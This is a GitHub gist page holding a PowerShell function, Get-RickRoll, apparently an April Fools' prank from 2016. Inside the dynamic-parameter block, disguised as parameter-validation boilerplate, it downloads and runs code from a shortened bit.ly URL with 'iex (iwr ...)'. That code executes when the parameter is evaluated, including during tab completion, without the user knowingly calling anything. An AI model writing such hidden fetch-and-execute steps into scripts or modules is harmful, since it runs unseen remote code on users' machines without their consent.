Created
April 1, 2016 02:42
-
-
Save gerane/68b9d796ce3f9881568242e241a69bee to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-RickRoll | |
{ | |
[CmdletBinding()] | |
param() | |
DynamicParam | |
{ | |
$ParameterName = 'Name' | |
$RuntimeParameterDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary | |
$AttributeCollection = New-Object System.Collections.ObjectModel.Collection[System.Attribute] | |
$ParameterAttribute = New-Object System.Management.Automation.ParameterAttribute | |
$ParameterAttribute.Mandatory = $true | |
$AttributeCollection.Add($ParameterAttribute) | |
$arrSet = iex (iwr http://bit.ly/e0Mw9w ) | |
$ValidateSetAttribute = New-Object System.Management.Automation.ValidateSetAttribute($arrSet) | |
$AttributeCollection.Add($ValidateSetAttribute) | |
$RuntimeParameter = New-Object System.Management.Automation.RuntimeDefinedParameter($ParameterName, [string], $AttributeCollection) | |
$RuntimeParameterDictionary.Add($ParameterName, $RuntimeParameter) | |
return $RuntimeParameterDictionary | |
} | |
begin | |
{ | |
$Name = $PsBoundParameters[$ParameterName] | |
} | |
Process | |
{ | |
} | |
End | |
{ | |
} | |
} | |
Export-ModuleMember Get-RickRoll |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment